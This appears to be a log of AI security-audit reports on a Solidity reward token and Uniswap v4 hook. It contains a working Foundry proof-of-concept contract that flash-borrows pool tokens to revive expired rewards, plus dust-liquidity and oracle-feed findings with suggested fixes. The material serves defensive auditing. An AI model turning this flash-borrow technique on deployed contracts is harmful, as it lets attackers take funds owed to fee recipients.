   Info: imdPoolEmptySince is not refreshed by healthy time (CompanyToken.sol:637). Two empty observations 30 days apart with no conversions between pay all five rounds as IMD. This falls in the accepted "purchase made to fail" class.

   Confirmed as intended. claim() and recycle() refuse mid-unlock. The 1% stock-pool floor, the pool-fee-before-tolerance change in minStockOut, and the weight and correction ordering in _transfer are correct. No transfer path can revert from the forfeit, _transfer makes no external call, and the forfeit keeps IMD and every stock solvent (owed moves into recycledHeld). The 100,000 minimum and eligibleSupply bookkeeping are unchanged. Nobody can mark another wallet active except by having it sign a buy itself.

   Verification done. Full unit suite (49 tests) passes on the unchanged tree. Fork test against Robinhood Chain passes. Slither was not run (not provided). The scratch directory holds the two proofs and three demonstration tests and is yours to discard.

   ran onclaude · claude-fable-5-1 · 49 turns · 24m 31s · 578 in · 77.5K out · 4M cached

   submission5e88dbe52f838c4887e1d65ae63542dad47d563b06aac3ebebb17c5a382f635d

   devicef2101c240e0b52a9a895b2f1bed1165b5d6229ab73d5e4567dbc624667e96505

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   • high_transfer forfeits with weightOf() read mid-unlock: flash-borrowed pool tokens let a 1 wei send revive an inactive wallet's expired rewards (reopens 363ab052 findings 1 and 2)contracts/src/CompanyToken.sol:366

     The fix for 363ab052 finding 1 makes _transfer call _forfeit(from) for a sender inactive for more than 7 days before the send resets lastActive. _forfeit -> expiredRewardsOf computes the non-expiring 'recent' part as (magnifiedRewardPerShare - magAt(now-7d-1)) * weightOf(holder) / MAGNITUDE, where weightOf is the holder's current balance. _transfer runs during any PoolManager unlock (trades must), and unlike claim() and recycle() it cannot refuse to run mid-unlock.

     A holder that unlocks the PoolManager itself can take the pool's ~1e9 $COMPANY to its own address (pm.take moves tokens to any address, repaid at the end of the callback), send itself 1 wei, and give the tokens back.

     During that 1 wei send weightOf(holder) is the pool's whole balance, so 'recent' covers the entire backlog whenever any distribution happened in the last 7 days (always true on a traded token), expiredRewardsOf returns 0, nothing is forfeited, and lastActive is reset: the full expired backlog in all six assets becomes claimable again.

     Cost: gas only (no swap, no fee, no capital). The same holds for the pulling receiver branch on line 367 (a contract wallet that borrowed to itself and pulls 1 wei from an accomplice with transferFrom). AUDIT.md section 7 states the flash-loan variant is closed because claim and recycle refuse to run mid-unlock; the transfer path reopens it with zero capital, so the victim is the fee recipient (loses the expired rewards) exactly as in 363ab052 finding 2 (High).

     Verified candidate fix (all 49 existing tests and both proofs pass): compute safe = msg.sender == router || msg.sender == ethRouter || !IPoolManager(poolManager).isUnlocked(); for an inactive from (or pulling to) only forfeit and reset the timer when safe, otherwise leave lastActive untouched (the wallet stays inactive until it claims or sends outside an unlock; anyone can still recycle it).

     Trade-off to decide: isUnlocked() is a staticcall to the PoolManager inside _transfer, which the scanner notes say transfers avoid. The alternative without any external call is that a plain send never revives an already-inactive wallet (only claim(), which is unlock-guarded, and router flows do); that changes the documented 'selling or sending brings a wallet back' rule and test_final1.

     whole finding

     Setup as in Company.t.sol. alice buys 20 IMD and sends half to contract f (first receipt: active). bob buys 20 IMD -> f earns a 0.3 IMD backlog. warp +8 days; bob buys 4 IMD (one distribution inside the window). expiredRewardsOf(f,0) == 0.299999999999999999e18. f.run(): pm.unlock -> take(COMPANY, f, balanceOf(pm)) -> token.transfer(f, 1) -> transfer back, settle.

     Expected: 0.3 IMD forfeited (recycledHeld or sent to feeRecipient) before the timer resets, f keeps only its last-7-days rewards.

     Actual: expiredRewardsOf(f,0) == 0, recycledHeld(0) == 0, lastActive[f] == now, withdrawableRewardOf(f,0) still 0.3+ IMD; token.recycle(f) moves nothing.

     Proof test test/scratch/FlashTransferRevive.t.sol fails on this code with 'the expired part must reach the protocol (held or sent), not stay with the holder: 0 != 299999999999999999' and passes with the candidate fix above.

     whole reproduction

   • highmarkActive runs inside the buyer's own unlock: a direct 1,000 wei buy with flash-borrowed pool tokens resets an inactive EOA's timer without forfeitingcontracts/src/CompanyToken.sol:402

     CompanyHook.afterSwap (contracts/src/CompanyHook.sol:328) calls CompanyToken.markActive(trader) on every buy, and for a swap whose sender is not CompanyRouter/CompanyEthRouter the trader is tx.origin. afterSwap always executes inside the swapper's unlock, so for a third-party swap the caller controls that unlock and can have moved the pool's $COMPANY to tx.origin with pm.take before swapping. markActive then evaluates _inactive(buyer) -> _forfeit(buyer) with weightOf(tx.origin) inflated by the borrowed tokens, the 'recent' estimate exceeds the backlog, nothing is forfeited, and lastActive[buyer] = block.timestamp.

     The caller repays with transferFrom(eoa, pm, borrowed) (the EOA pre-approved its helper contract); that transfer sees the wallet as active and resets the timer again.

     Cost: 1,000 wei of IMD (fee 40 wei) plus gas. This is the mid-unlock expiry dodge of 363ab052 finding 2 through the new activity path, and the unlock guard that protects claim()/recycle() cannot be applied here because afterSwap is by construction mid-unlock. The router paths are safe: a router's unlock cannot be nested (PoolManager.unlock reverts AlreadyUnlocked), so nobody else can be holding borrowed tokens during it.

     Verified candidate fix (all 49 existing tests and both proofs pass): the hook passes trusted = sender == router || sender == ethRouter; markActive(buyer, trusted) returns without touching the timer when the buyer is inactive and !trusted (an active buyer is still refreshed; an inactive one must come back through claim() or a router trade).

     Alternatively compute the forfeit from a weight that cannot be inflated in the same transaction, but note that gifts legitimately raise the weight inside the window, so a snapshot would over-forfeit.

     whole finding

     Setup as in Company.t.sol. alice buys 20 IMD; bob buys 20 IMD -> alice's backlog is 0.6 IMD. warp +8 days; bob buys 20 IMD (distribution inside the window). expiredRewardsOf(alice,0) == 0.599999999999999999e18. alice approves helper contract f for $COMPANY and calls f.run() (msg.sender and tx.origin = alice).

     In unlockCallback: take(COMPANY, alice, balanceOf(pm)); pm.swap(poolKey, exact-in 1000 wei IMD, hookData '') -> hook.afterSwap -> markActive(alice); settle IMD; transferFrom(alice, pm, borrowed - bought); settle.

     Expected: 0.6 IMD forfeited to the protocol before any timer reset (or no reset at all).

     Actual: expiredRewardsOf(alice,0) == 0, recycledHeld(0) == 0, lastActive[alice] == now, the 0.6 IMD backlog is claimable again; recycle(alice) moves nothing.

     Proof test test/scratch/FlashMarkActiveRevive.t.sol fails on this code with 'the expired part must reach the protocol (held or sent), not stay with the buyer: 0 != 599999999999999999' and passes with the candidate fix.

     whole reproduction

   • lowA dust liquidity position in the IMD/USDG pool defeats the 30-day empty-pool fallback (mirror of 363ab052 finding 4 for the first hop)contracts/src/CompanyToken.sol:636

     The IMD/USDG pool counts as empty only when maxConvert() == 0, i.e. cap == 0 (line 632: cap = maxConvert()/5). maxConvert() is 0.25% of the in-range virtual IMD depth, so any resting position with liquidity >= ~400 wei keeps cap > 0, imdPoolEmptySince is never started (and is cleared if it was), and the DEAD_AFTER fallback never fires.

     Each round then spends min(pending, cap) with cap in the millions of wei: the five stock reserves (50% of all holder fees) convert at a few hundred wei per minute, i.e. never in practice, while a pool that was genuinely abandoned would have paid them as IMD after 30 days. 363ab052 finding 4 fixed exactly this shape for the stock pools with the 'less than 1% of a round' rule (line 657) but the first hop has no equivalent floor.

     Anyone can plant the dust position in an abandoned pool for the cost of gas; it also lets the sole LP of a dust pool set the IMD/USDG price that stockRoundLimit uses to price the stock pools in IMD. Impact is a stall, not a loss: value stays in pendingConvert.

     Fix: treat a cap below a fixed floor as empty, for example maxConvert() < MAX_ROUND_IMD / 100 (an IMD/USDG pool with less than ~80 IMD of virtual depth, against ~19,750 at launch), so that imdPoolEmptySince starts and the 30-day fallback applies.

     whole finding

     Setup as in Company.t.sol with alice and bob each buying 1,000 IMD (6 IMD waiting per stock).

     Remove the 10,000e18 full-range IMD/USDG liquidity, add a full-range position of liquidity 2e9. maxConvert() == 5,000,000 wei (> 0).

     Call convert() once a day for 40 days with fresh feeds.

     Expected (healthy fallback): imdPoolEmptySince set on day 1 and from day 31 each round pays 4 IMD per stock as IMD, so pendingConvert(1) <= 2 IMD.

     Actual: imdPoolEmptySince == 0 throughout and pendingConvert(1) == 5999999999958005514 wei after 40 rounds (41,994,486 wei moved in total).

     Scratch test test/scratch/DustImdPool.t.sol::test_dustImdPoolLiquidity_defeatsThirtyDayFallback demonstrates it.

     whole reproduction

   • lowA feed that is unusable for a single round (answer <= 0, revert, short return data) is treated as dead at once, not after DEAD_AFTERcontracts/src/CompanyToken.sol:824

     The brief and the NatSpec of _feedsDead say a stock falls back to IMD after a feed has been 'unusable or not updated for DEAD_AFTER' (30 days). _feedAge returns type(uint256).max whenever latestRoundData reverts, returns fewer than 160 bytes, or reports answer <= 0 or updatedAt == 0, so _feedsDead(a) is true immediately and _convertAll pays that stock's capped round (up to 4 IMD) as IMD in the same call, instead of holding the stock as it does for a stale feed.

     Chainlink aggregator proxies can transiently revert ('No data present') while an aggregator is swapped, and a zero answer is a known transient condition; during such a glitch every claim converts another round of that stock's reserve into IMD (one round per minute per stock). Not attacker-triggerable (feeds are fixed Chainlink addresses) and value is preserved as IMD, so Low.

     Fix: on an unusable feed, hold the stock (continue) and only fall back once block.timestamp - updatedAt of the last good answer exceeds DEAD_AFTER, e.g. by remembering the last time each feed was readable (lastFeedOk[feed]) and treating a feed as dead only when now > lastFeedOk + DEAD_AFTER.

     whole finding

     Setup as in Company.t.sol: alice and bob buy 1,000 IMD each; warp +1 minute; all feeds fresh except feeds[0] which returns answer 0 with updatedAt = block.timestamp.

     Call convert().

     Expected: NVDA round held, pendingConvert(1) stays 6e18 and owed(0) unchanged (as for a stale feed in test_recheck1_staleFeed_holdsThatStock).

     Actual: pendingConvert(1) == 2e18 and owed(0) grows by 4e18 in that same call.

     Scratch test test/scratch/DustImdPool.t.sol::test_zeroAnswerFeed_isDeadImmediately_roundPaidAsImd demonstrates it.

     whole reproduction

   • infoimdPoolEmptySince is only cleared by a convert() that sees liquidity, so a pool healthy for 30 days can still be declared deadcontracts/src/CompanyToken.sol:637

     The 30-day clock starts at the first _convertAll that reads cap == 0 and is reset only by a later _convertAll that reads cap > 0 (line 641). Time during which the pool had liquidity but nobody called claim() or convert() does not refresh it.

     Someone who can briefly push the IMD/USDG price out of all in-range positions (or any moment the pool is momentarily empty) at two instants 30 days apart with no conversions in between makes the next round pay all five stocks' shares (up to 20 IMD) as IMD although the pool was usable the whole time.

     Holders still receive full value as IMD, which AUDIT.md section 7 accepts for purchases made to fail on purpose; reported for completeness since the guarantee as written ('no liquidity at its price for 30 days') is not what is measured.

     Fix: record the last time the pool was seen with liquidity in any view-driven path too, or require the empty observation to be re-confirmed within some window (e.g. reset imdPoolEmptySince whenever a stock round actually converted since).

     whole finding

     Setup as in Company.t.sol: alice and bob buy 1,000 IMD each; warp +1 minute; remove all IMD/USDG liquidity; convert() sets imdPoolEmptySince; re-add the liquidity. warp +31 days with no claim/convert, refresh feeds, remove the liquidity again and call convert().

     Expected: no fallback (pool had liquidity for the whole 31 days).

     Actual: owed(0) grows by 20e18 (5 x 4 IMD rounds paid as IMD).

     Scratch test test/scratch/DustImdPool.t.sol::test_imdPoolEmptySince_notRefreshedByHealthyTime demonstrates it.

     whole reproduction
6. reviewed
   #1430Audit judgeClaude6 findings · 2 high

   afterAudit math, Audit permissions, Audit economics, Audit flow

   The review is complete. The findings file is written at the repository root with six findings, all snippets verified against the tree, and the source tree is unchanged apart from my scratch tests.

   Outcome: the flash-borrow expiry bypass that 363ab052 closed for claim() and recycle() is back through both new activity paths. Everything else the request asked about holds.

   Findings kept (merged from the 14 specialist reports):

   1. High, CompanyToken.sol line 366. A send by an inactive wallet forfeits with the live weight and has no unlock guard. Inside its own unlock a contract takes the pool's $COMPANY to the wallet, returns it with one transferFrom, and the wallet is active again with nothing forfeited. Cost is gas only. The specialist proof reproduces here, and my own fix-agnostic proof fails here and passes under a candidate fix with the 49 existing tests green. Four specialists reported this path. Merged.
   2. High, CompanyHook.sol line 328. markActive(tx.origin) runs inside the swapper's own unlock, so a 0.001 IMD direct buy after the same borrow resets an inactive EOA's timer without forfeiting. Own proof fails here and passes once the hook marks only router-reported buyers. Three specialists reported it. Merged, kept separate from the first because a hook-side fix alone does not close the transfer path.
   3. Medium, CompanyToken.sol line 636. The IMD/USDG pool counts as empty only when depth is under 2,000 wei. A 10,000-wei dust position keeps the 30-day fallback from ever firing and reduces rounds to 5 wei. Reproduced.
   4. Low, line 824. A feed that reverts or answers zero for one block is dead at once, not after 30 days. Reproduced for both the zero-answer and reverting cases.
   5. Info, CompanyHook.sol line 326. Contract wallets buying through other routers mark their relayer, not themselves. Reproduced, but documented behaviour.
   6. Info, line 637. The empty-pool clock is not refreshed by healthy time between conversions. Reproduced, not practically triggerable.

   Confirmed unchanged: solvency of all six assets after the new forfeit (my sanity test and the fuzz suite pass), the mid-unlock refusal of claim() and recycle(), the 100,000 minimum, the 1% stock-pool floor, the fee-before-tolerance change, and transfers remaining free of external calls.

   Dropped or merged: nothing failed to reproduce. The audit_economics low on the dust pool was merged into the Medium, and the three identical unusable-feed reports into one Low.

   Not run: the live fork test, since the review profile has no network and the finding set does not depend on live state.

   ran onclaude · claude-fable-5-1 · 25 turns · 12m 28s · 386 in · 50.9K out · 1.8M cached

   submission8b23efd7b2c13a7d18e8dd40fe47b9231d3927b1d4801dea07b552c299abb0bf

   device918f8261a6fd589cb41cfa8a8105d9b1d139eed39376ccdc56150d01a5b0f39d

   started from331230c2d46e1d6079bcafb2caba8ce288328a5b

   bundlenone

   changed · 0 filesnothing

   • high_transfer forfeits with the live weight and has no unlock guard: a send while holding flash-borrowed pool $COMPANY revives an inactive wallet's expired rewards at zero cost (reopens 363ab052 findings contracts/src/CompanyToken.sol:366

     The 363ab052 finding-1 fix makes _transfer call _forfeit(from) (line 366; line 367 for a receiver that pulls with transferFrom) before the send resets lastActive. _forfeit takes the amount from expiredRewardsOf, whose non-expiring 'recent' part is (magnifiedRewardPerShare - magAt(now - 7d - 1)) x weightOf(holder) / MAGNITUDE with weightOf read from the CURRENT balance (line 548). claim() and recycle() refuse to run while the PoolManager is unlocked for exactly this reason (363ab052 finding 2), but transfers must work mid-unlock (every sell is one), and nothing in _transfer distinguishes a balance that was taken from the PoolManager a moment earlier.

     A receipt from the PoolManager is deliberately not activity and forfeits nothing (78c00339 finding 4), so inside its own unlock a contract can pm.take() the pool's whole $COMPANY (about 1e9 tokens, most of the supply) to the inactive wallet, then return it with transferFrom(wallet, PoolManager) (the wallet pre-approved the helper; approve is not activity) or have the wallet send 1 wei.

     That send runs _forfeit(wallet) with weight = the borrowed balance: 'recent' becomes (last-7-day per-share growth) x (nearly the whole supply), which is at least the TOTAL IMD distributed to all holders in the last 7 days, so it exceeds the wallet's backlog and expired = 0 for every asset. Nothing is forfeited, lastActive is reset, the tokens go back and the unlock settles.

     Afterwards expiredRewardsOf is 0 (timer fresh) and a later claim() pays the entire backlog in all six assets.

     Preconditions: one distribution of each asset inside the last 7 days (any traded token has one for IMD; a claim or convert in the window gives one per stock) and the pool holding most of the supply (always).

     Cost: gas only; no swap, no fee, no capital.

     Victim: the fee recipient, who should have received the expired rewards. AUDIT.md section 7 says the flash-loan variant is closed because claim and recycle refuse to run mid-unlock; the transfer path reopens it. Reproduced with the specialist proof .imd/reads/proofs/Proof_37c04bb2b060.t.sol (fails here: 'expired rewards must be forfeited by the send: 0 != 599999999999999999') and with the attached fix-agnostic test.

     Merged from audit_math, audit_flow (second finding), audit_economics (first finding) and audit_permissions, which all describe this path. The companion markActive path is reported separately (next finding) because a hook-side fix alone does not close this one.

     Fix options that keep transfers free of external calls: (a) record in transient storage the $COMPANY each address received from the PoolManager in this transaction (moving the tag along when forwarded, clearing it when returned to the PoolManager) and have expiredRewardsOf/_forfeit use weight minus that amount, so a borrowed balance never counts toward 'recent' (tokens just bought did not earn in the window either, so the estimate stays holder-favourable); or (b) never reactivate an already-inactive wallet from a send unless msg.sender is CompanyRouter/CompanyEthRouter (whose unlock cannot be nested, so no borrow is possible): leave lastActive untouched and forfeit nothing, so the wallet comes back only through claim() (unlock-guarded) or a router trade.

     Option (b) changes the documented 'sending brings a wallet back' rule and test_final1. A staticcall to poolManager.isUnlocked() inside _transfer (skip forfeit and reset when unlocked and msg.sender is not a router) also works but adds the external call the scanner notes avoid. The attached proof passes under (a), (b) or the isUnlocked variant.

     whole finding

     Setup as in Company.t.sol (IMD/USDG 10,000e18 liquidity, start mcap 306 IMD). alice buys 20 IMD, bob buys 20 IMD (alice's own deferred holder fee and bob's are both distributed to alice, the only holder: 0.6 IMD). warp +8 days; bob buys 10 IMD (one distribution inside alice's last 7 days). expiredRewardsOf(alice,0) = 599999999999999999, withdrawableRewardOf(alice,0) = 0.679e18. alice approves helper F (approve is not activity).

     F.run(alice): pm.unlock -> pm.take($COMPANY, alice, balanceOf(pm)) -> pm.sync -> token.transferFrom(alice, pm, borrowed) -> pm.settle.

     Expected: the expired 0.6 IMD is forfeited into recycledHeld[0] before the timer resets (as in test_final1_selfTransferForfeitsExpiredFirst), or the timer is left alone; alice's next claim pays at most 0.079 IMD.

     Actual: recycledHeld(0) == 0, lastActive(alice) == block.timestamp, expiredRewardsOf(alice,0) == 0 and alice's next claim() pays 0.679 IMD, the full backlog; recycle(alice) moves nothing.

     Run: cd contracts; forge test --match-path test/scratch/TransferFlashBorrow.t.sol (fails: 'the expired backlog must stay expired or be held for the protocol, not revived: 0 != 599999999999999999').

     The same test passes with the 49 existing tests once mid-unlock sends by untrusted callers stop reactivating an inactive wallet or once the forfeit weight excludes tokens taken from the PoolManager in the same transaction.

     whole reproduction
     proof · a Foundry test the fix has to pass

     // SPDX-License-Identifier: MIT
     pragma solidity 0.8.26;
     
     import {Test} from "forge-std/Test.sol";
     import {PoolManager} from "v4-core/src/PoolManager.sol";
     import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
     import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
     import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
     import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol";
     import {TickMath} from "v4-core/src/libraries/TickMath.sol";
     import {PoolKey} from "v4-core/src/types/PoolKey.sol";
     import {Currency} from "v4-core/src/types/Currency.sol";
     import {ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
     
     import {CompanyHook} from "src/CompanyHook.sol";
     import {CompanyToken} from "src/CompanyToken.sol";
     import {CompanyRouter} from "src/CompanyRouter.sol";
     import {DeployLib} from "script/DeployLib.sol";
     
     contract SErc20 {
         uint8 public decimals = 18;
         mapping(address => uint256) public balanceOf;
         mapping(address => mapping(address => uint256)) public allowance;
     
         function mint(address to, uint256 amt) external {
             balanceOf[to] += amt;
         }
     
         function approve(address s, uint256 amt) external returns (bool) {
             allowance[msg.sender][s] = amt;
             return true;
         }
     
         function transfer(address to, uint256 amt) external returns (bool) {
             balanceOf[msg.sender] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     
         function transferFrom(address f, address to, uint256 amt) external returns (bool) {
             if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= amt;
             balanceOf[f] -= amt;
             balanceOf[to] += amt;
             return true;
         }
     }
     
     contract SFeed {
         function decimals() external pure returns (uint8) {
             return 8;
         }
     
         function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
             return (1, 1e8, block.timestamp, block.timestamp, 1);
         }
     }
     
     /// @notice Inside one unlock: borrows the pool's $COMPANY to `holder` (a receipt from the PoolManager is not activity
     ///         and forfeits nothing), then repays it with transferFrom(holder). That repayment is the holder's "send", so
     ///         _transfer forfeits with the borrowed tokens counted as weight and then resets the holder's timer.
     contract FlashSender is IUnlockCallback {
         IPoolManager immutable pm;
         CompanyToken immutable t;
         address holder;
     
         constructor(IPoolManager pm_, CompanyToken t_) {
             pm = pm_;
             t = t_;
         }
     
         function run(address holder_) external {
             holder = holder_;
             pm.unlock("");
         }
     
         function unlockCallback(bytes calldata) external returns (bytes memory) {
             uint256 borrowed = t.balanceOf(address(pm));
             pm.take(Currency.wrap(address(t)), holder, borrowed);
             pm.sync(Currency.wrap(address(t)));
             t.transferFrom(holder, address(pm), borrowed);
             pm.settle();
             return "";
         }
     }
     
     contract TransferFlashBorrowTest is Test {
         uint256 constant SUPPLY = 1_000_000_000e18;
         int24 constant FULL_90 = 887220;
         int24 constant FULL_60 = 887220;
     
         PoolManager pm;
         SErc20 imd;
         CompanyHook hook;
         CompanyToken token;
         CompanyRouter router;
         address alice = makeAddr("alice");
         address bob = makeAddr("bob");
         address owner = makeAddr("owner");
         address feeRecipient = makeAddr("feeRecipient");
     
         function _key(address a, address b, uint24 fee, int24 ts) internal pure returns (PoolKey memory) {
             (address c0, address c1) = a < b ? (a, b) : (b, a);
             return PoolKey(Currency.wrap(c0), Currency.wrap(c1), fee, ts, IHooks(address(0)));
         }
     
         function setUp() public {
             vm.warp(1_800_000_000);
             pm = new PoolManager(address(this));
             imd = new SErc20();
             SErc20 usdg = new SErc20();
             PoolModifyLiquidityTest lp = new PoolModifyLiquidityTest(pm);
             imd.mint(address(this), 10_000_000e18);
             usdg.mint(address(this), 10_000_000e18);
             imd.approve(address(lp), type(uint256).max);
             usdg.approve(address(lp), type(uint256).max);
     
             PoolKey memory imdUsd = _key(address(imd), address(usdg), 9000, 90);
             pm.initialize(imdUsd, TickMath.getSqrtPriceAtTick(0));
             lp.modifyLiquidity(imdUsd, ModifyLiquidityParams(-FULL_90, FULL_90, 10_000e18, 0), "");
     
             CompanyToken.Pool[5] memory pools;
             address[5] memory stocks;
             address[5] memory feeds;
             for (uint256 i; i < 5; i++) {
                 SErc20 s = new SErc20();
                 s.mint(address(this), 10_000_000e18);
                 s.approve(address(lp), type(uint256).max);
                 PoolKey memory k = _key(address(usdg), address(s), 3000, 60);
                 pm.initialize(k, TickMath.getSqrtPriceAtTick(0));
                 lp.modifyLiquidity(k, ModifyLiquidityParams(-FULL_60, FULL_60, 1_000_000e18, 0), "");
                 pools[i] = CompanyToken.Pool(3000, 60);
                 stocks[i] = address(s);
                 feeds[i] = address(new SFeed());
             }
     
             bytes memory initCode = abi.encodePacked(
                 type(CompanyHook).creationCode,
                 abi.encode(
                     pm,
                     address(imd),
                     owner,
                     feeRecipient,
                     DeployLib.startTickForMarketCap(306e18, SUPPLY),
                     CompanyHook.ImdEthPool(10_000, 100, address(0))
                 )
             );
             uint160 flags = uint160((1 << 13) | (1 << 11) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2));
             (bytes32 salt, address expected) = DeployLib.mineSalt(address(this), flags, initCode, 0);
             address deployed;
             assembly {
                 deployed := create2(0, add(initCode, 0x20), mload(initCode), salt)
             }
             require(deployed == expected, "hook address");
             hook = CompanyHook(payable(deployed));
             router = CompanyRouter(payable(hook.router()));
             token = new CompanyToken(
                 address(hook), address(usdg), CompanyToken.Pool(9000, 90), stocks, pools, address(new SFeed()), feeds
             );
             vm.prank(owner);
             hook.openPool(address(token));
     
             address[2] memory users = [alice, bob];
             for (uint256 i; i < 2; i++) {
                 imd.mint(users[i], 1_000_000e18);
                 vm.prank(users[i]);
                 imd.approve(address(router), type(uint256).max);
             }
         }
     
         function _buy(address who, uint256 imdIn) internal {
             vm.prank(who);
             router.buy(address(token), imdIn, 0, block.timestamp);
         }
     
         function test_sendWithBorrowedPoolTokensRevivesExpiredRewards() public {
             _buy(alice, 20e18);
             _buy(bob, 20e18);
             vm.warp(block.timestamp + 8 days);
             _buy(bob, 10e18); // one distribution inside alice's last 7 days
     
             uint256 expired = token.expiredRewardsOf(alice, 0);
             uint256 withdrawable = token.withdrawableRewardOf(alice, 0);
             assertGt(expired, 0, "alice has expired IMD rewards");
     
             FlashSender f = new FlashSender(IPoolManager(address(pm)), token);
             vm.prank(alice);
             token.approve(address(f), type(uint256).max); // approve is not activity
             f.run(alice); // no capital: the pool's tokens are borrowed and returned in the same unlock
     
             // Expected: the backlog that had expired is either still expired or held for the protocol (as after the
             // 1-wei self-transfer of test_final1_selfTransferForfeitsExpiredFirst). Actual: it is withdrawable again.
             assertEq(
                 token.expiredRewardsOf(alice, 0) + token.recycledHeld(0),
                 expired,
                 "the expired backlog must stay expired or be held for the protocol, not revived"
             );
             vm.prank(alice);
             uint256[6] memory paid = token.claim();
             assertEq(paid[0], withdrawable - expired, "only the last 7 days may be paid");
         }
     }

     whole proof

   • highafterSwap calls markActive(tx.origin) inside the swapper's own unlock: a dust buy made while holding flash-borrowed pool $COMPANY resets an inactive EOA's timer without forfeiting (same flash bypass tcontracts/src/CompanyHook.sol:328

     A hook callback runs only inside an unlock, so CompanyToken.markActive(trader) (CompanyToken.sol:399-404) always executes mid-unlock.

     For a swap whose sender is not CompanyRouter/CompanyEthRouter the trader is tx.origin (line 326), and that swapper controls the whole unlock: before swapping it can pm.take() the pool's $COMPANY to tx.origin (a receipt from the PoolManager is not activity and forfeits nothing). markActive then evaluates _inactive(buyer) -> _forfeit(buyer) with weightOf(tx.origin) inflated by the borrowed tokens, 'recent' exceeds the backlog, nothing is forfeited and lastActive[buyer] = block.timestamp.

     The helper repays with transferFrom(eoa, pm, borrowed - bought) (one-time approval of the attacker's own helper; the wallet is already active at that point so no forfeit happens there either), returns the output and settles.

     Cost: a 0.001 IMD buy (0.00004 IMD fee) plus gas; the borrow is free under v4 flash accounting. Precondition as in the previous finding: one distribution of each asset inside the last 7 days such that (pool balance / eligibleSupply) x the asset credited in the window >= the wallet's backlog, which holds for ordinary holders and which the attacker can create with a small buy from a second wallet.

     The router paths are safe: PoolManager.unlock reverts AlreadyUnlocked when nested, so nobody can hold borrowed tokens during a CompanyRouter/CompanyEthRouter unlock. The claim()/recycle() isUnlocked() guard cannot be applied to markActive, which is by construction mid-unlock. Merged from audit_flow (first finding), audit_economics (second finding) and the markActive halves of audit_math and audit_permissions.

     Fix options that keep the agreed design: (a) in afterSwap call markActive only when sender == router || sender == ethRouter, and document that buys through other routers do not refresh the timer (this is already the case for contract wallets, see the info finding below); or (b) pass trusted = (sender == router || sender == ethRouter) and have markActive leave an inactive buyer untouched when !trusted (an active buyer is still refreshed; an inactive one comes back through claim() or a router trade); or (c) the transient-storage 'received from the PoolManager this transaction' tag of the previous finding, which makes the forfeit weight borrow-proof for both paths at once.

     Option (a) alone does not close the previous finding; a root-cause fix (c) closes both. The attached proof records the state right after the buy, so it passes under any of (a), (b) or (c) independently of how the transfer path is fixed.

     whole finding

     Setup as in Company.t.sol. alice buys 20 IMD; bob buys 20 IMD; warp +8 days; bob buys 10 IMD. expiredRewardsOf(alice,0) = 599999999999999999, lastActive(alice) = 8 days ago. alice approves helper F for $COMPANY and signs a transaction calling F.run(alice) (tx.origin = alice; the test uses vm.prank(alice, alice)).

     In unlockCallback: pm.take($COMPANY, alice, balanceOf(pm)); pm.swap(hook pool, exact-in 1e15 IMD, hookData ''); the state is recorded; the IMD is settled; transferFrom(alice, pm, borrowed - bought); settle.

     Expected (as for a router buy in test_expiry_giftDoesNotResetTimer_buyDoes_afterForfeiting): right after the buy either lastActive(alice) is unchanged or recycledHeld(0) == 0.6e18.

     Actual: lastActive(alice) == block.timestamp and recycledHeld(0) == 0 (the hook's own Trade event logs alice as the buyer); after the transaction expiredRewardsOf(alice,0) == 0 and the 0.6 IMD backlog is claimable again; recycle(alice) moves nothing.

     Run: cd contracts; forge test --match-path test/scratch/MarkActiveFlashBorrow.t.sol (fails: 'the buy reset the timer with nothing forfeited: the expired backlog was revived'); it passes once afterSwap only marks router-reported buyers (verified against this tree with that one-line change: proof passes, 49/49 existing tests pass) or once the forfeit weight excludes tokens taken from the PoolManager in the same transaction.

     whole reproduction

   • mediumIMD/USDG pool counts as empty only when maxConvert() is exactly 0: a dust position (10,000 liquidity units, 10,000 wei each side) stops the 30-day IMD fallback from ever firing and turns every round icontracts/src/CompanyToken.sol:636

     _convertAll detects an IMD/USDG pool with no liquidity at its price as cap == 0, where cap = maxConvert() / 5 and maxConvert() = in-range virtual IMD depth x 25 / 10,000 (capped at 20 IMD). cap is zero only while that depth is below 2,000 wei.

     Any full-range position of 10,000 liquidity units (10,000 wei of IMD and 10,000 wei of USDG at a 1:1 price, i.e. nothing) keeps maxConvert() at 25 wei and cap at 5 wei: imdPoolEmptySince is cleared (lines 641-643) or never started, the DEAD_AFTER fallback of 363ab052 finding 3 can never trigger, and each stock's round proceeds with imdIn = 5 wei.

     Because cap / 100 == 0 the stock-pool emptiness floor of finding 4 (line 657) is disabled as well, and convertStock(a, 5) either buys a few wei of stock or reverts Slippage and _fallBackToImd pays 5 wei; either way lastConvert[a] is set, the per-minute slot is consumed, and the reserves (10% x 5 of all holder fees since the real liquidity left) stay locked: 40 daily rounds move 200 wei of a 6 IMD reserve.

     This is the harm 363ab052 finding 3 (Medium) was fixed for, reachable with liquidity that abandoned pools commonly keep (dust left by rounding or never-withdrawn positions) or that anyone can add for the cost of gas. The symmetric check for stock pools uses a 1%-of-round floor; the first hop uses == 0. No third-party loss (value stays in pendingConvert), hence Medium like the original rather than High.

     Fix: treat the IMD/USDG pool as empty when maxConvert() is below a meaningful floor, e.g. maxConvert() < MAX_ROUND_IMD / 100 (0.2 IMD, about 80 IMD of virtual depth against ~19,750 at launch), so dust depth starts and keeps the imdPoolEmptySince clock and rounds are not spent on sub-dust swaps; keep the floor well below the real pool's depth so a healthy pool is never declared empty.

     whole finding

     Setup as in Company.t.sol: alice and bob buy 1,000 IMD each (pendingConvert[a] = 6e18 for every stock).

     Remove the 10,000e18 full-range IMD/USDG liquidity; warp +1 minute; convert() sets imdPoolEmptySince = now.

     Anyone adds a full-range position of 10,000 liquidity units (the test measures 10,000 wei of IMD and 10,000 wei of USDG spent).

     Now maxConvert() == 25 wei, cap == 5 wei. warp +31 days, refresh feeds, convert().

